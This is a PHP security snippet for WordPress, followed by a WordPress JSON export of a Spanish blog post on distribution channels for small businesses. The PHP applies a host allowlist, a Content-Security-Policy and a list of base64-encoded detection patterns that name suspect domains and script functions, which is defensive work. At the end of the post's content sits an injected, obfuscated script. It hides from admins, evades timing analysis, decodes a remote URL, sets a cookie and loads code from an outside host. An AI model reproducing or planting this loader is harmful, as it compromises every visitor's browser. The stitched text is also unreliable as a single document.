// eefw-security-start
if (!function_exists('eefw_home_hosts')) {
function eefw_home_hosts() {
    $host = wp_parse_url(home_url(), PHP_URL_HOST);
    $hosts = [];
    if ($host) {
        $hosts[] = strtolower($host);
        if (stripos($host, 'www.') === 0) {
            $hosts[] = strtolower(substr($host, 4));
        } else {
            $hosts[] = 'www.' . strtolower($host);
        }
    }
    return array_values(array_unique($hosts));
}
function eefw_allowed_hosts() {
    $home_hosts = eefw_home_hosts();
    $common = ['s.w.org','stats.wp.com','www.googletagmanager.com','tagmanager.google.com',
        'www.google-analytics.com','ssl.google-analytics.com','region1.google-analytics.com',
        'analytics.google.com','www.google.com','www.gstatic.com','ssl.gstatic.com',
        'www.recaptcha.net','recaptcha.net','challenges.cloudflare.com','js.stripe.com',
        'www.paypal.com','sandbox.paypal.com','www.sandbox.paypal.com',
        'maps.googleapis.com','maps.gstatic.com','www.youtube.com','youtube.com',
        'www.youtube-nocookie.com','youtube-nocookie.com','s.ytimg.com','i.ytimg.com',
        'player.vimeo.com','f.vimeocdn.com','i.vimeocdn.com',
        'fonts.googleapis.com','fonts.gstatic.com','cdn.jsdelivr.net'];
    return array_values(array_unique(array_merge($home_hosts, $common)));
}
function eefw_normalize_url($url) {
    if (!is_string($url) || $url === '') return $url;
    if (strpos($url, '//') === 0) return (is_ssl() ? 'https:' : 'http:') . $url;
    return $url;
}
function eefw_is_relative_url($url) {
    return is_string($url) && $url !== '' && strpos($url, '/') === 0 && strpos($url, '//') !== 0;
}
function eefw_host_allowed($host) {
    if (!$host) return true;
    return in_array(strtolower($host), eefw_allowed_hosts(), true);
}
function eefw_url_allowed($url) {
    if (!is_string($url) || $url === '') return true;
    if (eefw_is_relative_url($url)) return true;
    $url  = eefw_normalize_url($url);
    $host = wp_parse_url($url, PHP_URL_HOST);
    if (!$host) return true;
    return eefw_host_allowed($host);
}
add_filter('script_loader_src', function($src) {
    if (!eefw_url_allowed($src)) return false;
    return $src;
}, 9999);
add_action('wp_enqueue_scripts', function() {
    global $wp_scripts;
    if (!isset($wp_scripts->registered) || !is_array($wp_scripts->registered)) return;
    foreach ($wp_scripts->registered as $handle => $obj) {
        if (!empty($obj->src) && !eefw_url_allowed($obj->src)) {
            wp_dequeue_script($handle);
            wp_deregister_script($handle);
        }
    }
}, 9999);
add_action('template_redirect', function() {
    if (is_admin() || (defined('REST_REQUEST') && REST_REQUEST) || (defined('DOING_AJAX') && DOING_AJAX)) return;
    ob_start(function($html) {
        if (!is_string($html) || $html === '') return $html;
        $html = preg_replace_callback(
            '#<script\b([^>]*)\bsrc=([\'"])(.*?)\2([^>]*)>\s*<\/script>#is',
            function($m) {
                $src = html_entity_decode($m[3], ENT_QUOTES | ENT_HTML5, 'UTF-8');
                if (!eefw_url_allowed($src)) return '';
                return $m[0];
            },
            $html
        );
        $bad_needles = array_map('base64_decode', explode(',',
            'Y2hlY2suZmlyc3Qtbm9kZS5yb2Nrcw==,dGVzdGlvLmVjYXJ0ZGV2LmNvbQ==,Y2FwdGNoYV9zZWVu,Y3RwX3Bhc3Nf,aW5zZXJ0QWRqYWNlbnRIVE1MKA==,d2luZG93LmFkZEV2ZW50TGlzdGVuZXIo,ZmV0Y2go,bmV3IEZ1bmN0aW9uKA==,ZXZhbCg=,YXRvYig='
        ));
        $html = preg_replace_callback(
            '#<script\b[^>]*>.*?<\/script>#is',
            function($m) use ($bad_needles) {
                foreach ($bad_needles as $needle) {
                    if (stripos($m[0], $needle) !== false) return '';
                }
                return $m[0];
            },
            $html
        );
        return $html;
    });
}, 0);
add_action('send_headers', function() {
    if (headers_sent()) return;
    $hosts = eefw_allowed_hosts();
    $h2 = ["'self'"];
    foreach ($hosts as $hh) $h2[] = 'https://' . $hh;
    $sc = implode(' ', array_unique(array_merge($h2, ["'unsafe-inline'", "'unsafe-eval'"])));
    $st = implode(' ', array_unique(array_merge(["'self'", "'unsafe-inline'"], ['https://fonts.googleapis.com'])));
    $ft = implode(' ', array_unique(array_merge(["'self'", 'data:'], ['https://fonts.gstatic.com'])));
    $ig = implode(' ', array_unique(array_merge(["'self'", 'data:', 'blob:'], $h2)));
    $fr = implode(' ', array_unique(array_merge(["'self'"], [
        'https://www.youtube.com','https://www.youtube-nocookie.com',
        'https://player.vimeo.com','https://www.google.com',
        'https://challenges.cloudflare.com','https://js.stripe.com',
        'https://www.paypal.com','https://sandbox.paypal.com'
    ])));
    $cn = implode(' ', array_unique(array_merge(["'self'"], [
        'https://www.google-analytics.com','https://region1.google-analytics.com',
        'https://analytics.google.com','https://maps.googleapis.com',
        'https://maps.gstatic.com','https://challenges.cloudflare.com',
        'https://js.stripe.com','https://www.paypal.com','https://sandbox.paypal.com'
    ])));
    $p = [
        "default-src 'self'",
        'script-src ' . $sc,
        'style-src ' . $st,
        'font-src ' . $ft,
        'img-src ' . $ig,
        'frame-src ' . $fr,
        'connect-src ' . $cn,
        "object-src 'none'",
        "base-uri 'self'",
        "form-action 'self' https://www.paypal.com https://sandbox.paypal.com"
    ];
    header('Content-Security-Policy: ' . implode('; ', $p));
}, 999);
}
// eefw-security-end
{"id":766,"date":"2019-03-07T11:25:44","date_gmt":"2019-03-07T17:25:44","guid":{"rendered":"https:\/\/www.ld.com.mx\/blog\/?p=766"},"modified":"2026-03-15T23:22:33","modified_gmt":"2026-03-16T05:22:33","slug":"guia-de-distribucion-para-pymes","status":"publish","type":"post","link":"https:\/\/ld.com.mx\/blog\/noticias\/guia-de-distribucion-para-pymes\/","title":{"rendered":"Gu\u00eda de distribuci\u00f3n para pymes"},"content":{"rendered":"<p>Simple: La distribuci\u00f3n lleva el producto desde la f\u00e1brica, hasta el punto de venta y las manos del consumidor. Hay varias etapas que componen este proceso: es el <strong>canal de distribuci\u00f3n comercial<\/strong> en la cadena de suministro.<\/p>\n<p>En este trayecto el producto puede pasar por distintos puntos, entre productor y cliente, o se puede entregar directamente al punto de venta. Lo cierto es que toda empresa debe contar con un canal de distribuci\u00f3n.<\/p>\n<h4><strong>C\u00f3mo crearlo<\/strong><\/h4>\n<p>Una de las grandes diferencias en la implementaci\u00f3n del canal, es el tama\u00f1o del negocio. Por ejemplo, las <strong>peque\u00f1as y medianas empresas (pymes)<\/strong> deben considerar dos elementos en su pol\u00edtica de distribuci\u00f3n:<\/p>\n<ol>\n<li><strong>El canal define al <em>marketing<\/em><\/strong>; es decir, el medio de distribuci\u00f3n condiciona la pol\u00edtica de precio, promoci\u00f3n y publicidad.<\/li>\n<li><strong>Cliente multicanal<\/strong>: Eligen el medio para llegar al negocio; por tanto, todos los canales tienen que integrarse para ofrecer la misma calidad de servicio.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p>Esos son los puntos generales. A partir de aqu\u00ed se puede pensar en el dise\u00f1o de la distribuci\u00f3n, que debe atender las siguientes cuestiones:<\/p>\n<ol>\n<li><a href=\"https:\/\/blog.hubspot.com\/marketing\/buyer-persona-research\" target=\"_blank\" rel=\"noopener\"><strong>Buyer Persona<\/strong><\/a>, o el tipo espec\u00edfico de cliente que recibir\u00e1 el producto. Es crucial conocerlo para comprender lo que quiere, y poder ofrec\u00e9rselo.<\/li>\n<li><strong>El canal de venta m\u00e1s exitoso<\/strong>, ya sea <strong>directo (en tienda)<\/strong> o <strong>indirecto (en la web)<\/strong>, para conocer sus desventajas y aprovechar las ventajas.<\/li>\n<li><strong>Los intermediarios en la distribuci\u00f3n<\/strong>, para estimar el respectivo volumen de ventas, y fijar objetivos comerciales entre las partes involucradas.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p>El siguiente paso es elegir una de <strong>tres formas de distribuci\u00f3n: mayorista, desde un establecimiento, o sin un punto de venta f\u00edsico<\/strong>. Cada una tiene ventajas y desventajas que deben adaptarse a las realidades de la pyme.<\/p>\n<p>Por ejemplo, un punto de venta requiere almacenes y <strong>espacio f\u00edsico (como el supermercado)<\/strong>; la venta sin establecimiento puede realizarse con <strong>vendedores ambulantes<\/strong>, desde internet, o por cat\u00e1logo; eso brinda la ventaja de personalizar la distribuci\u00f3n.<\/p>\n<p>&nbsp;<\/p>\n<h4><strong>C\u00f3mo llegar al mercado<\/strong><\/h4>\n<p>La pol\u00edtica de distribuci\u00f3n debe determinar la cantidad de consumidores a los que se quiere ofrecer el producto. Se puede elegir una de las siguientes estrategias:<\/p>\n<ol>\n<li><strong>Intensiva<\/strong>, que busca <strong>ofrecer el producto a todo el mercado<\/strong>, logrando que \u00e9ste se pueda encontrar en los sitios comerciales pertinentes. Es ideal para alimentos, bebidas y productos de uso m\u00e1s cotidiano.<\/li>\n<li><strong>Selectiva<\/strong>, que brinda la <strong>oferta del negocio en establecimientos espec\u00edficos<\/strong>. Son los que no se compran constantemente, con precios m\u00e1s altos. La clave est\u00e1 en su marca, pues el consumidor se tomar\u00e1 su tiempo para elegir la opci\u00f3n que prefiera.<\/li>\n<li><strong>Exclusiva<\/strong>, un modelo mucho m\u00e1s espec\u00edfico que el anterior, pues <strong>busca llegar a clientes mucho m\u00e1s segmentados<\/strong>. Aqu\u00ed entran los <strong>productos de lujo<\/strong>, que pocos est\u00e1n dispuestos a comprar.<\/li>\n<li><strong>Franquicia<\/strong>, un sistema de colaboraci\u00f3n entre dos empresas distintas: Se unen por una concesi\u00f3n que <strong>permite la explotaci\u00f3n de una marca o f\u00f3rmula comercial<\/strong>.<\/li>\n<\/ol>\n<hr \/>\n<p>Las pymes necesitan una pol\u00edtica de distribuci\u00f3n comprensiva y bien planeada, si quieren que su log\u00edstica sea exitosa, y que sus productos enamoren a los clientes. Ojal\u00e1 que esta breve gu\u00eda te ayude a lograrlo.<\/p>\n<p>Es tiempo de continuar el cambio y utilizar las nuevas herramientas que permitan el apoyo mutuo entre cliente y proveedor. <a href=\"https:\/\/www.ld.com.mx\/\" target=\"_blank\" rel=\"noopener\">Nosotros<\/a> podemos ayudarte con eso y mucho m\u00e1s. Te brindamos <a href=\"https:\/\/www.ld.com.mx\/servicios\" target=\"_blank\" rel=\"noopener\">mejores soluciones<\/a> con gente profesional, y nos adaptamos a tus necesidades. <a href=\"https:\/\/www.ld.com.mx\/contacto\" target=\"_blank\" rel=\"noopener\">Cont\u00e1ctanos<\/a> y busquemos la mejor manera de hacer crecer a tu negocio.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Simple: La distribuci\u00f3n lleva el producto desde la f\u00e1brica, hasta el punto de venta y las manos del consumidor. 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